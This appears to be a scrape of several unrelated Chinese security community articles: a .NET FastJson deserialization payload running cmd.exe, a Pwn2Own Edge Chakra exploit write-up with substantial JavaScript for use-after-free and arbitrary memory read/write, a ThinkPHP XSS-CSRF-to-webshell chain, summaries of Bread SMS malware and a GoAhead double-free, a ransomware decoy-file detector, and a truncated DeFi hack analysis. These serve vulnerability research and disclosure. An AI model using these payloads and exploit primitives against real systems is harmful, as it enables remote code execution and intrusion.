一步步来看，开始从GetType获取当前类的实例，返回Type类型变量t3；然后通过Type.GetProperty方法找到指定为FileName的公共属性并赋值给PropertyInfo类型的变量propertyName；再使用PropertyInfo.SetValue方法设置对象的指定属性值“cmd.exe“，同理为Arguments属性指定值。下一步再来序列化Process类，并调用StartInfo启动程序，Demo如下
然后需要对其做减法，去掉无关的System.RuntimeType、System.IntPtr数据，最终得到反序列化Payload
{""$types"":{""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"":""1"",""System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"":""3"",""System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"":""5""},""$type"":""1"",""ObjectInstance"":{""$type"":""3"",""StartInfo"":{""$type"":""5"",""Verb"":"""",""Arguments"":""/c calc.exe"",""CreateNoWindow"":false,""RedirectStandardInput"":false,""RedirectStandardOutput"":false,""RedirectStandardError"":false,""UseShellExecute"":true,""UserName"":"""",""Domain"":"""",""LoadUserProfile"":false,""FileName"":""cmd.exe"",""WorkingDirectory"":"""",""ErrorDialog"":false,""WindowStyle"":""Normal""},""EnableRaisingEvents"":false},""MethodName"":""Start"",""IsAsynchronous"":false,""IsInitialLoadEnabled"":true}
FastJson定义的JSON类定义了多个ToObject重载方法，对于反序列化漏洞无需关心重载的方法参数是一个还是多个，它们都可以触发漏洞
笔者通过下面的Demo ， JSON.ToObject(payload)反序列化成功弹出计算器。
## 0x03 代码审计视角
从代码审计的角度很容易找到漏洞的污染点，通过前面几个小节的知识能发现需要满足一个关键条件JSON.ToObject传入String或者Object就可以被反序列化，例如以下JSONSerializer类
攻击者控制传入字符串参数json便可轻松实现反序列化漏洞攻击。Github上也存在大量的不安全案例代码，如下
## 0x04 案例复盘
最后再通过下面案例来复盘整个过程，全程展示在VS里调试里通过反序列化漏洞弹出计算器。
1. 输入<http://localhost:5651/Default> Post加载value值
2. 通过ToObject 反序列化 ，并弹出计算器
最后附个动态图
## 0x05 总结
Fastjson凭借速度和性能上的优势占得一席之地，但随着newtonsoft.Json的主流化，性能上已经逐渐赶超了Fastjson，也使得Fastjson越来越小众化，对于攻击者来说，利用成本很低，在代码审计配合的情况下这种安全问题越发的严重起来，若提交恶意的污染数据，便可水到渠成的反序列化成功拿下目标，最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。 | 社区文章 |
来源：[
**腾讯安全湛泸实验室**](http://weibo.com/ttarticle/p/show?id=2309404105928097034074)
作者：[腾讯安全湛泸实验室](http://weibo.com/ZhanluLab)
### 0x00背景
今年3月结束的Pwn2own比赛中，湛泸实验室1秒内攻破史上最高难度的Edge浏览器，拿到首个单项最高分14分。此次比赛湛泸实验室准备了多个Edge漏洞和windows10内核提权漏洞，相关漏洞信息已经报告给微软。本文粗略介绍一下Pwn2Own比赛中湛泸实验室所用到的两个Edge漏洞，以及漏洞利用中的DVE（Data-Virtualization
Execute）技术。这两个Edge漏洞我们实验室都完成了利用，在利用的细节上和之前IE上的cve-2014-6332有着异曲同工之妙。即DVE技术的基本思想：程序的一切皆是数据，通过修改程序的关键数据结构来控制程序执行，从而绕过所有Mitigation机制。下面笔者将较为细致地分析Pwn2own比赛的漏洞成因和利用过程，现在就开始Pwn2Own的旅程吧。Let’s
go!!!!
### 0x01 漏洞简介
去年，湛泸实验室发现Chakra引擎中ArrayBuffer对象的两个神洞，一个越界访问(CVE:2017-0234)和一个释放后重用(CVE:2017-0236)。这两个漏洞的特殊之处在于漏洞的触发路径都在chakra引擎生成的jit
代码中。下面，笔者就和大家分享这两个漏洞的相关细节。
### 0x02漏洞成因
先看下面这段JS代码：
function write(begin,end,step,num)
{
for(var i=begin;i<end;i+=step) view[i]=num;
}
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
write(0,0x4000,1,0x1234);
write(0x3000000e,0x40000010,0x10000,1851880825);
其中，执行write(0,0x4000,1,0x1234)这句JS，会让chakra引擎针对write函数中的for循环生成Jit
code。JIT生成的循环代码调用入口在chakra!Js::InterpreterStackFrame::DoLoopBodyStart，我们对这个函数下断，即可跟踪到write函数中for循环对应的Jit
code。
JIT经过一些列准备工作，最终来到JITLoop代码部分：
看一下JIT对这个for循环生成的汇编代码：
代码稍微行数多一点，分开解释分析，for循环头部是获取for循环相关的参数
R12=0x0001000000010000 //这里是取出for循环的step=0x0001000000010000
R13=0x000100006e617579 //这里是取出view数组要赋予的值0x000100006e617579
R14=0x0001000040000010 //这里是取出for循环的end=0x0001000040000010
R15=0x000100003000000e //这里是取出for循环的start=0x000100003000000e
在这里可以发现每一个数值的高四位有一个1，是用来区分这个值是对象还是int类型的
1 表示数据int，0 表示obj
0:010>
rax=0000000000000001 rbx=00000186e9c00000 rcx=00000186e9800dc0
rdx=0000000000010000 rsi=00000186e95d68c4 rdi=00000036be1fb900
rip=00000187e9f00122 rsp=00000036be1fb5d0 rbp=00000036be1fb670
r8=000000003000000e r9=0000000040000010 r10=000100006e617579
r11=0000000000000001 r12=000100006e617579 r13=000100006e617579
r14=0001000040000010 r15=000100003000000e
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mov dword ptr [rbx+r8*4],r12d ds:00000187`a9c00038=????????
最终代码运行到此处，rbx是buffer对象的内存基地址，r8是数组索引0x3000000e，r12给数组赋予的值，整个过程没有检测索引的范围造成了数组越界。当然漏洞不仅仅这一个，仔细推敲上述过程，我们可以发现，JIT在使用buffer对象的缓冲区域时并没有检测buffer对象是否被分离释放，这就是我们发现的第二个漏洞。可能细心点的读者都发现了，写入的地址不可访问，都是?????????，那为什么漏洞会利用成功而且不崩溃呢？请看下文。
### 0x03 漏洞利用
只有crash是远远不够的，还记得yuange曾经说过：”exp的价值远远大于poc”。下面笔者将分析一下两个漏洞的利用技术，两个漏洞成因极为相似，所以在利用技术上也很相近。
触发UAF漏洞主要代码如下：
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
var worker = new Worker('uaf1.js');
worker.postMessage(buffer,[buffer]);
worker.terminate();
主要逻辑：
1）申请一个ArrayBuffer类型的数组变量buffer对象
2）紧接着新建Uint32Array类型的数组对象view,引用上面的buffer对象
3）通过调用postMessage(buffer,[buffer])和terminate()会将buffer对象申请的缓冲区内存彻底释放,这里是触发UAF的关键。work.postMessage移交buffer对象所有权,
terminate()结束worker线程的时候会释放掉buffer这个对象原来申请的内存。
4）然而在类型数组view中却仍然保留着buffer对象申请的缓冲区内存的引用，并且引用时没有做检查,所以造成UAF 漏洞。.
越界代码因为ArrayBuffer对象申请4G虚拟空间，占位内存必须在ArrayBuffer的4G空间之后，这样两个漏洞利用就只有占位空间不一样，利用TypedArray写内存的索引不一样。UAF漏洞占位在原有buffer对象申请的缓冲区空间，OOB漏洞占位在其后4G空间。这样OOB漏洞写占位内存时，索引需要增加0x100000000/4=0x40000000，其它都相同。
##### 1\. 详细分析
我们来跟踪一下UAF的漏洞利用相关代码。 1）首先，申请一个ArrayBuffer类型的数组变量buffer，找到这个buffer变量，看一下内存结构
rcx是ArrayBuffer对象，0x00000186-e9c00000是buffer对象申请的缓冲区内存，0x00000000-00010000
是buffer长度
下面是buffer的内存部分大小0x10000
2）紧接着新建Uint32Array类型的变量view,引用上面的buffer，然后write(0,0x4000,1,0x1234);
//大循环操作内存,让chakra引擎生成JIT代码
使用view对象操作ArraryBuffer的内存,看看被修改的buffer对象缓冲区这块内存，内存布局如下
3）通过调用postMessage(buffer,[buffer])和terminate()会将buffer的缓冲区内存空间彻底释放。执行terminate之后释放了buffer对象的缓冲区内存，buffer指针被置空，长度值为0，（0x00000001-00000000实际代表长度为零）。
worker.postMessage(buffer,[buffer]);
worker.terminate();当worker调用postMessage的时候会发生Detach操作
会调用 Js::ArrayBufferDetachedStateBase *__fastcall
Js::ArrayBuffer::DetachAndGetState—>
chakra!Js::ArrayBuffer::ClearParentsLength 把对象的长度清掉
此时还没有清掉内存，后续函数会把内存释放掉。
4）然而在变量view 中却仍然保留着buffer对象缓冲区的引用，所以造成UAF
漏洞。下面内存是view对象的，此时View对buffer对象申请的缓冲区的引用仍然存在，也就是地址并没有清零
此时我们看一下内存情况，buffer对象申请的缓冲区是不能被访问的
已经被系统给回收了。 这样我们再占位这内存后，利用view对象去操作这块内存就造成了UAF漏洞。
##### 2\. 漏洞利用&Pwn
漏洞原因已经比较清晰了，but, How to Pwn?继续分析， 利用技术要点： 1）UAF漏洞在释放buffer对象的缓冲区后，紧接着通过分配Array
来占用已释放的缓冲区内存。OOB漏洞不需要前面的释放buffer对象缓冲区代码，最终占位的是缓冲区4G后的空间。 代码如下：
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
｝
2）通过write向占位的arr写入标记，然后检测arr定位到占位成功的arr。OOB漏洞调用write写的时候，索引begin和end都需要加上0x40000000。
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
write(0x0e,0x00010,0x1000,1851880825);
if(arr[i][0]==1851880825)
{
1851880825
这个奇怪数值是什么呢？程序员看到这个数字大脑绝对是崩溃的，其实1851880825是”yuange”字符串中的”yuan”,25959是”yuange”中的”ge”,占位成功的话就拼接出”yuange”这个字符串。
然后利用占位的数组，精心的构造一个对象，
0x6e617579是标记，0x6567也是一个标记
//arr[i+1](arrvar) 的数据区紧邻arr[i](arrint)的数据区，都在释放了的buffer对象的缓冲区空间内
arr[i+1]=new Array(0x400);
arr[i+1][1]=buffer;
arr[i+1][0]=0;
getarrint(i);
｝
｝
函数getarrint 的定义如下：
function getarrint(i)
{
arr[i].length=0x10000;
arrint=arr[i];
arrvar=arr[i+1];
write(0x09,0x001000,0x100000,0x0001000);
write(0x0a,0x001000,0x100000,0x0001000);
}
//这里两个write修改占位成功的arrint 对象的segment 的size和length 字段
下面可以看到已经成功修改了segment 的size和length字段 之前这个对象内存如下0x00000002
代表存储int的个数,从后面的内存可以看到，这里存储了0x6e617579和0x00006567两个值，0x6e617579是JIT代码写进来的，覆盖了arr[i][0]=0这个值。
修改这个有什么作用呢？其实此时已经得到了一个长度为0x1000的seg， seg中元素个数为0x1000,此时就能越界对后面内存进行读写访问了。
这个先放在这，后面要用到。下一步就是伪造一个fakeview，进而完成任意地址读写。
3)此时的内存布局如下：
Buffer--------> ---------------------------
| 0x20 内存块头部|
Arrint.seg--------->| |
| |
| |
| 0x3000 内存块|
| |
| |
Arrvar.seg———>| |
| |
| |
| |
| |
内存就是下面这样，注意连个地址之间相隔0x3020,中间是占位产生的数据
arrint是NativeIntArray,
其seg的size为0x802，每个元素的长度为4byte，共为0x802*4+0x20+0x18=0x2040bytes长度，然后因为内存页对齐的原因为0x3000byte，所以中间空余了0x3000。此时我们可以通过arrint越界去读写arrvar的buffer部分了，这就已经完成对象地址的泄露了。
function getobjadd(myvar)
{
arrvar[3]=myvar;
uint32[0]=arrint[0xc06];
return arrint[0xc07]*0x100000000+uint32[0];
}
4)紧接着通过调用fakeview 函数来伪造一个完全可控的TypedArray对象myview 实现任意地址读写。
var buffer1 = new ArrayBuffer(0x100);
var view1 = new Uint32Array(buffer1);
var view2 = new Uint32Array(buffer1);
var view3 = new Uint32Array(buffer1);
var view4 = new Uint32Array(buffer1);
function fakeview( )
{
arrint.length=0xffff0000; //arrint长度修改
arrvar[0]=buffer1;
arrvar[1]=view2;
arrvar[2]=0;
//修改arrint 的segment.next 指向view2+0x28
write(0x00000d,0x001000,0x100000,arrint[0xc03]);
write(0x00000c,0x001000,0x100000,arrint[0xc02]+0x28);
View+0x28位置是存放的buffer1对象的地址:
使用arrint[0xc00]越界就可以获取到buffer1对象地址0x186-e96a5300低4字节。
uint32[0]=arrint[0xc00];
index=uint32[0];
//中间使用unit32[0]是用来做符号转换的，index就是buffer1对象的地址低4字节。因为seg.next指向view2+0x28,view2+0x28的值为buffer1,所以下一个seg的seg.left就是buffer1的低4字节，这个段的索引号就是从index开始。
Seg的头长度0x18，后面接的是具体数组数据，这样0x28+0x18=0x40，view2对象的长度是0x40，这时候seg的数组数据区域就刚好指向下一个view对象0x186`e9800dc0，可能是紧挨着的view1或者view3。
//通过越界读复制view1或者view3 对象的0x40字节到view4 的buff 区域
for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];
//恢复segment.next
write(0x0d,0x0001000,0x100000,0);
write(0x0c,0x0001000,0x100000,0);
View4对象内存如下，View4的buffer地址为0x17e-e425ae40，现在这个已经是我们伪造出来的myview的结构体部分
myview 的内存布局如下：
arrint[0xc04]=view4[0x0e];
arrint[0xc05]=view4[0x0f];
//
view4[0xe]和view4[0x0f]对应的就是view4引用的buffer1对象的数据缓冲区，也就是伪造的myview对象的地址，取出来保存到arrvar[2]位置。这样就把伪造的view对象通过arrvar[2]做对象引出，可以JS直接引用。
myview=arrvar[2];
}
得到了需要的伪造的TypedArray对象myview，整个对象结构体在view4里，可以通过view4去修改。myview 的内存布局如下：
myview是Uint32Array对象,结构体中存了一个64位数组数据缓冲区指针，我们已经具备了修改这个对象结构的能力，那么我们可以通过修改这个指针，通过类型数组做到任意地址读写。
5）此时myview 便伪造成功，由于myview 整个都在view4 的buff 空间中，所以view4 可以对myview
进行任意读写，而此时myview 也被edge 识别为Uint32Array 对象类型。即可实现任意读写，代码如下：
function readuint32(address)
{
view4[0x0e]=address%0x100000000;
view4[0x0f]=address/0x100000000;
return myview[0];
}
function writeuint32(address,num)
{
view4[0x0e]=address%0x100000000;
view4[0x0f]=address/0x100000000;
myview[0]=num;
}
加上前面已经实现的任意对象地址读取
function getobjadd(myvar)
{
arrvar[3]=myvar;
uint32[0]=arrint[0xc06];
return arrint[0xc07]*0x100000000+uint32[0];
}
这样可以获取任意我们需要的对象地址，然后读写和修改对象数据，继续bypass各种利用缓解措施，得到代码执行能力等，从这里开始就获得了和上帝一样的能力。
### 0x04漏洞攻击(Fire Now!!!)
攻击效果就是百发百中，指哪打哪。
### 0x05 漏洞精华
笔者才疏学浅，深知自己不能完全领会漏洞利用的全部，但是也总结一下调试过程中发现漏洞利用精华和奇妙的地方，
1） 这个漏洞在没有占位成功的时候，向已经释放的内存中写入数据并不会导致程序崩溃，这就大大的增加了漏洞利用程序的稳定性。
调试的时候，发现这个buffer在没有完成占位的情况下，对buffer的写入操作并不会崩溃,这个异常会被edge自己处理掉，不会导致崩溃发生，这样就会让exploit程序非常的稳定。也是非常感叹这是两个非常好用的神洞啊。也就是文中前面留下的那个神秘问题。
2）
漏洞利用精髓自然是DVE方法精确的数据控制能力，通过漏洞的内存修改能力,修改arrint对象的seg的数据结构,然后arrint和arrvar互相配合实现类型混淆，可以对对象任意读写伪造，这和cve-2014-6332的DVE利用代码的两个数组交错修改具有异曲同工之秒。完成任意地址读写，然后通过修改对象数据，打开“上帝模式”。
### 0xFF总结
通过上述分析，笔者逐渐领悟到DVE技术的精髓：通过修改关键数据结构来获取任意数据操纵的能力，这就是袁哥所说的“上帝之手”。然后借”上帝之手”绕过dep+alsr+cfg+rfg等漏洞防御技术，最后配合内核漏洞，完成整个Exploit
Chain的攻击。感谢分析过程中yuange的指导和实验室小伙伴的帮助，笔者能力有限，分析有误的地方还望大家指出。最后，欢迎对二进制漏洞研究感兴趣的小伙伴加入腾讯湛泸实验室，发送简历到[email protected]。
部分关键利用代码：
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
write(0x0e,0x00010,0x1000,1851880825);
if(arr[i][0]==1851880825)
{
arr[i+1]=new Array(0x400);
arr[i+1][1]=buffer;
arr[i+1][0]=0;
getarrint(i);
fakeview();
document.write("<br><br> find i="+i+"<br>");
bypassdepcfg();
break;
}
}
function getarrint(i)
{
arr[i].length=0x10000;
arrint=arr[i];
arrvar=arr[i+1];
write(0x09,0x001000,0x100000,0x0001000);
write(0x0a,0x001000,0x100000,0x0001000);
}
function fakeview( )
{
arrint.length=0xffff0000;
arrvar[0]=buffer1;
arrvar[1]=view2;
arrvar[2]=0;
write(0x0d,0x001000,0x100000,arrint[0xc03]);
write(0x0c,0x001000,0x100000,arrint[0xc02]+0x28);
uint32[0]=arrint[0xc00];
index=uint32[0];
for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];
write(0x0d,0x0001000,0x100000,0);
write(0x0c,0x0001000,0x100000,0);
arrint[0xc04]=view4[0x0e];
arrint[0xc05]=view4[0x0f];
myview=arrvar[2];
}
* * * | 社区文章 |
## 0x01 用户评论处xss
查看了这个框架，可以确定没有注入了，全站基本都是基于缓存进行交互的，因此想着能不能通过xss，首先可以确定的是这个cms使用的是框架
thinkphp5，了解到是TP框架的话想找xss的先 看配置文件
> 文件：application\config.php
> 参数：default_filter
最后找到一处未过滤的地方
> 文件：application/index/controller/Index.php
> 方法：pinglun()
过滤函数
> 文件：application\index\controller\Common.php
> 方法：filterJs()
可以看到只是简单的过滤`<script>`很简单就可以绕过
自己在此cms注册一个账号然后随便点击一篇文章
从这里我们已经可以确定后台评论未过滤完全导致可以xss，我们前面说了这个站点使用TP5做的而且大部分的功能都是与缓存进行交互的！！！那么配合我前段时间发的文章配合xss说不定即可getshell
## 0x02 Getshell
这里放上我在先知社区的一篇文章方便大家看后面的内容有大概的一个了解：
> 文章名称：Thinkphp5.0.10-3.2.3缓存函数设计缺陷可导致getshell
> 文章链接：<https://xianzhi.aliyun.com/forum/read/1973.html>
看完我上面的文章大家应该有个大概的感念了
经过确认此cms也并没有添加 csrf_token 那么我们就可以使用下面的思路
**思路：**
> 前台评论出插入xss代码->诱骗后台管理员访问网站-内容管理-评论管理-> 自动执行xss代码->通过csrf插入一条新文章->通过csrf清除缓存->在通过js访问前端任意页面生成缓存建立shell
大概的想法就是这样做了。
后台创建文章方法
> 地址：application\admin\controller\Index.php
> 方法：write();
这个方法没有什么可以讲的只是后面的组合漏洞要使用到他
后台清除缓存方法
> 地址：application\admin\controller\Index.php
> 方法：clearcache()
这个方法没有什么可以讲的只是后面的组合漏洞要使用到他
例子：
1、准备好脚本
2、利用前面的xss漏洞，配合这个脚本形成xsrf漏洞
这样我们在前端的事情就完事了。接着我们模拟后台管理员进入后台的操作
模拟的后端管理员操作：
**漏洞原理与流程：**
1、后台创建文章方法
> 地址：application\admin\controller\Index.php
> 方法：write();
这个方法没有什么可以讲只是单纯的从前端获取数据然后写入数据库罢了
2、后台清除缓存方法
> 地址：application\admin\controller\Index.php
> 方法：clearcache()
这个方法没有什么可以讲的。只是单纯的删除缓存数据
3、访问前端重新生成缓存
> 地址： application\index\controller\Index.php
> 方法：index()
缓存的名字由来
缓存的名字组成就是比较简单的了。
这上面几幅图就是缓存的名字了什么意思呢？很简单
首先是从index目录里面的index模块下面的index方法
调用了一个方法`$template = $this->receive('index'); = index`
然后是ndex目录里面的Common模块里面的receive 方法
获取了变量`$source`值 = `index`
获取了变量`$page` 值 =`1`
`Cache::set('hunhe_'.$source.$page,$hunhe,3600);`缓存方法
最后就是
`MD5(hunhe_index1) = 9040ab6906a15768edcd9e5b1d57fcda`
## 0x 03 后记：
使用此方法的话，尝试一下在url中输入
<http://www.xxxxxxx.com/runtime>
<http://www.xxxxxxx.com/runtime/cache>
<http://www.xxxxxxx.com/runtime/cache/8d6ab84ca2af9fccd4e4048694176ebf.php>
按顺序输入如果前两个访问得到的结果是403 最后的结果不是403或是404
而是返回正常的页面，那么说明站点的缓存目录是可以访问的，这个时候可以使用此漏洞。配合XSS+CSRF获取Getshel | 社区文章 |
# MOSEC议题解读 | Bread——接踵而来的短信诈骗
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 议题概要
早在2010年，FakePlayer是第一个被发现的针对Android系统的恶意样本，它会在用户不知情的情况下发送短信。而8年后的今天，短信诈骗仍然是一种流行的方式来为恶意软件开发者带来收益。不过，随着保护和检测机制的不断加强，恶意软件开发者需要更多的努力来躲避检测。
该议题讲者会深入分析Google Play
Protect检测到的最庞大的恶意软件家族之一：Bread的作者运用了哪些创新的技术来躲避检测并欺骗用户。其中的一些技术包括动态根据运行环境调整内容，伪造的隐私申明以及通过原生代码或者服务器的Javascript来发送短信。
## 作者介绍
Alec Guertin Google Play Protect的软件/逆向工程师，主要研究方向是如何检测针对Android系统的恶意软件。
## 议题解析
Alec
Guertin提到，恶意软件通常会通过刷大量好评来提高搜索排名、以及欺骗用户，但是如果你仔细看下评论中的真实评论的话，你会发现有很多受骗的用户其实已经在评论中给出明确的提醒，而这些正面的评价很多都是有恶意程序自动发送的，用户毫不知情。
目前通过Google
Play的统计，Bread家族恶意软件下载较多的地区主要是东南亚和欧洲的少部分地区，其中最为典型的是泰国，因为泰国的运营商目前还可以通过短信方式订阅收费的服务，这些利益促使恶意软件作者针对泰国用户开发了大量的恶意应用，并且恶意软件还会根据所在的国家选择性的执行不同的恶意付费代码。
首先这些恶意软件会尝试获取Root权限，并读取你手机的关键信息，包括尝试使用手机去发送付费短信、并自动匹配收到的付费成功短信进行记录销毁
如果用户主动发送短信购买付费服务，恶意软件也可能会通过修改付费指令，让你为此付费更多的钱
而这些恶意的代码通常会被攻击者隐藏起来，其中包括把敏感的代码隐藏在一张图片，在加载到Javascript中进行执行
为了逃避静态分析、隐藏服务端地址、欺骗用户的眼睛，恶意软件甚至还会使用“代号”的方式预置一部分指令。
## 结论
1.恶意软件可能会做一些申明文件中没有的行为
2.恶意软件会诱导你进行敏感操作、或者暴露你的地理位置信息
3.即便代码中没有短信发送内容，恶意软件还是可能通过其他方式去发送付费短信
## 安全客建议
1.确保手机版本最新、并安装和使用最新的安全软件
2.尽量避免授权软件非必要的权限如：位置定位、通讯录获取、短信获取、发送短信
3.仔细检查软件的申明、操作
4.及时更新或卸载存在问题的软件 | 社区文章 |
# CVE-2019-5096：GoAhead远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server，可在github下载源码，链接如下：
<https://github.com/embedthis/goahead>
GoAhead Web服务器最近被曝光在版本v5.0.1，v.4.1.1和v3.6.5中存在一个可利用的代码执行漏洞，漏洞存在http请求的multi-part/form-data字段处理中，若是发送畸形的HTTP请求，可导致GoAhead Web服务器在处理此请求期间触发double-free漏洞。
该畸形请求可以未经身份验证的GET或POST请求形式发送，并且请求的服务器上不需要存在web页面。
## 0x01 漏洞分析
漏洞曝光者给出了触发漏洞的源码：
/ src/upload.c /
66 static void freeUploadFile(WebsUpload *up)
67 {
68 if (up) {
69 if (up->filename) { // BUG: First UAF here
70 unlink(up->filename); // BUG: UAF/unlink - probably not a good idea
71 wfree(up->filename); // BUG: Double free here
72 }
73
74 wfree(up->clientFilename);
75 wfree(up->contentType);
76 wfree(up);
77 }
78 }
经过笔者的分析发现，freeUploadFile（）函数会在/src/upload.c的websFreeUpload（）函数中调用，而websFreeUpload（）函数会在/src/http.c中调用，/src/http.c中termWebs（）函数会调用websFreeUpload（）函数，/src/http.c中reuseConn（）函数会调用termWebs（）函数，从中可以看出漏洞触发函数freeUploadFile（）的调用过程。
在函数freeUploadFile（）的调用过程中，查看源码可发现有两行如下代码：
/ src/upload.c /
255 freeUploadFile(wp->currentFile);
256 file = wp->currentFile = walloc(sizeof(WebsUpload));
在此处变量 wp->currentFile会被free一次，但是被free的变量wp->currentFile在代码：
/ src/upload.c /
371 hashEnter(wp->files, wp->uploadVar, valueSymbol(file), 0);
372 defineUploadVars(wp);
在此处代码中把变量wp->currentFile加入了一个数组中，该数组中的变量在接下来的代码中会被free一次，free代码如下：
/ src/upload.c /
86 for (s = hashFirst(wp->files); s; s = hashNext(wp->files, s)) {
87 up = s->content.value.symbol;
88 freeUploadFile(up);
变量wp->currentFile再次被free之后，导致了double-free漏洞触发，是fastbin double
free，利用方法和思路已经很成熟。
## 0x02 漏洞补丁
查看github源码可以发现，在v5.10版本中存在一处#287修补，如下图所示：
从修补的结果来看，源码维护方在src/upload.c中的373行添加了一句赋0操作，通过将变量
wp->currentFile赋0以后，/src/upload.c第255行不会再对变量进行free操作，因此也不会发生double-free的漏洞了。
## 0x03 修补方案
鉴于GoAhead
Web服务器支持的体系结构和操作系统的非常广泛，使用面非常广，分布在大量交换机、路由器、智能摄像头等IOT设备中，下图是使用钟馗之眼搜索的分布数量：
由于实际情况中，设备厂商可能会对GoAhead
Web服务器进行裁减或者修改，与原来的默认代码不一致，会致使漏洞可产生的效果或者利用方法不同，但是默认配置的话，漏洞是存在的，建议设备厂商尽快修补。 | 社区文章 |
作者：高渐离 ultrain @墨攻安全实验室
本篇文章感谢todaro@安全狗和宋超提供勒索软件样本。感谢killer总在应用层终止恶意进程方面的指导。感谢PT提供的非常棒的powertool，让我们能很好的分析国外软件的操作。
近年勒索软件形式愈演愈烈，尤其是 WannaCry 让人印象深刻。近期 Badrabbit
又肆虐欧洲。目前云主机上的防护大多是云厂商自研的防护软件。企业内部终端安全防护，鉴于信息安全的需要，也不会直接使用个人PC上流行的防护软件。在这些防护软件上，对使用内核模块都保持着较为谨慎的态度。如果要做勒索软件检测模块并尽快上线，最好是提供能在应用层就直接实现的方式。同时，目前大家推崇的态势感知方案其实对勒索软件收效甚微。等看见了，伤害已经造成了。而大多数防护方案则是针对勒索软件所利用的漏洞进行防护，当换了一种漏洞利用方式了，原先的防护就会立马失效。在这种情况下，我们该如何做到未知的勒索软件防护呢？
墨攻安全实验室通过对国外知名主机端防护软件进行研究，发现了一个比较好的应用层的勒索软件检测方案：通过创建隐藏的诱饵文件，实时拦截对诱饵文件的加密操作，从而有效应对未知的勒索软件。
下面我们以 windows 为例，给出应用层勒索软件检测代码原型。
##### 1.创建诱饵文件
关键点：
a. 在每个盘的根目录、Users目录、Users/Administrator/Documents目录创建诱饵。
b. 每次创建诱饵，都创建两个目录，一个是文件夹名按字母序能排到第一位，一个是文件夹名按字母序能排到最后一个
c. 创建的诱饵文件种类涵盖要尽量全。包括 doc、docx、pem、jpeg 等
a点保证了勒索软件试图加密的目录里面都有诱饵。b点则保证了无论文件夹访问顺序是正序还是逆序，诱饵文件都能被最先访问到。c点保证了诱饵属于勒索软件感兴趣的文件。
以上诱饵文件都是隐藏文件。
##### 2.应用层监控文件加密操作
在 windows
下面，如果使用文件过滤驱动，其实很容易做到文件加密行为的拦截。但鉴于目前的安全防护现状，对大多数公司以及云厂商而言，使用驱动带来的稳定性的担忧会远远超过它带来的未知勒索软件防护这种好处。
做安全防护的都知道，宁大家都查不出来，也不能搞死用户机器啊！
如果不能找到稳定的应用层的解决方案，我们最终保卫地球、为国为民的愿望就会流产。
这部分有两个关键点：
###### a.应用层文件系统监控
Windows 提供了 FindFirstChangeNotification 和 ReadDirectoryChangesW
两种方法。参见<https://msdn.microsoft.com/en-us/library/windows/desktop/aa365261(v=vs.85).aspx>。只有 ReadDirectoryChangeW
才能获得具体变动的文件信息。
###### b.进程拦截
此处有个蛋疼的地方在于，应用层文件系统监控发现变动的时候，我们获得的仅仅是文件名信息和变动的操作，并不能获得当前导致变动的进程信息。就是说，我们知道对哪个文件有加密行为，但是不知道是谁干的。
只能去查找哪个进程持有该变动文件的句柄。Windows 下有两种方式，一种是通过 NtQuerySystemInformation 来查询的。一种可以通过
RestartManager 来查找。
主要区别在于 NtQuerySystemInformation 随时会被干掉。而 RestartManager 是微软钦定的api。
查找到有问题的进程，直接 OpenProcess，Suspend 即可。（我原来对不hook不加驱动拦截进程操作总觉得很不解。思维定势啊）
完整代码参见<https://github.com/mogongtech/RansomDetection>
测试方式：
1.找一台干净的虚拟机，我的环境是 win2008。目前 RestartManager 的支持是 vista+，故建议环境是 win7，win2008
这种。如果你要支持 winxp，请将查找句柄的函数用 NtQuerySystemInformation 来实现。建议你不设置网络以及共享文件夹。
2.虚拟机里面创建以下目录，并把github上breadcrumb目录下的蜜罐文件放进去。（别问我为啥目录是这几个，因为我硬编码的）
C:\Cversions245 C:\Xdata229 C:\Users\Acly09pk C:\Users\Qtua
C:\Users\Administrator\Documents\Lmirror147
C:\Users\Administrator\Documents\Nsetup158
3.编译 RansomDetection 代码，放到虚拟机里面运行
4.解压 github上test 目录下的样本并运行（这是 locker，不是随便造的勒索软件）
综上，欢迎云厂商和甲方安全团队在终端安全防护和主机入侵防护软件中加入该检测模块并完善，共同对抗未知勒索软件。大家一起做点实事。
最后，<http://drops.mogong.org>，我们将不定期分享威胁分析检测回溯方面的经验。
* * * | 社区文章 |
**作者：w2ning
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 0x00 概述
2021年3月,去中心化交易平台 DODO被黑客攻击，仅仅 wCRES/USDT V2 一个交易对就被转走价值近 98 万美元的 wCRES 和近 114
万美元的 USDT.
漏洞原理其实比较简单，一句话描述就是`Init函数为Public且可被多次调用`.
但精彩的地方在于,攻击者并没有成功拿到超200万美金的赃款,而是被Front Running Bot截了胡.
## 0x01 事件分析
* 攻击合约
0x910FD17B9Bfc42A6eEA822912f036EF5a080Be8A
* 攻击交易
0x395675b56370a9f5fe8b32badfa80043f5291443bd6c8273900476880fb5221e
* 问题代码如下
> 攻击者首先生成两种垃圾Token
>
> 调用 `wCRES/USDT` 交易对合约的flashLoan函数 借出上百万美金的wCRES 和USDT
>
> 通过init 函数把两个Token 地址改为自己刚刚生成的两个垃圾Token
>
